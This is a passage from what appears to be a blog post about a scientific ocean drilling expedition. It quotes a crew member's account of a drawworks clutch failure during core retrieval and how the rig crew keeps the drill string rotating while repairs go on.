Let’s read his words.<\/p>\n<p><em>“When I woke up this morning, I expected to see the rig floor tripping pipe out of the hole. But my surprise I saw the drill string rotating, not moving up, the core line a t 100 m, and some guys working on something on the starboard side of the rig floor. I thought -hmmmm- something must have changed and assumed that Steve (Operation superintendent), Zhen and Joann (co-chief scientists) must have decided to take a few more cores. Unfortunately, I was wrong.<\/em><\/p>\n<p><em>Last night Core 68X was almost back up to the ship (at 100 m core line depth below the ship), the rubber bladder (like a bike tire innertube) that is part of the clutch on the drawworks failed. Without this we can’t raise the drill string – clearly not a good thing anytime – but especially with the bit over 600 m below seafloor and underneath thick zones of unconsolidated sands. Luckily we still have the top drive installed, se we can still rotate and pump seawater\/mud to keep the drill string from getting stuck. We do NOT want to stop the rotation and pumping to get the core out – otherwise the sands will likely fall back down the hole and the drill string could get stuck (bad).<br \/>\n<\/em><\/p>\n<p><em>So, the guys on the rig floor along with the rig mechanics started to get to work fixing it. It’s not a small fix and is expected to take until late afternoon – presuming no substantial issues are encountered along the way.”<\/em><\/p>\n<p>More soon.
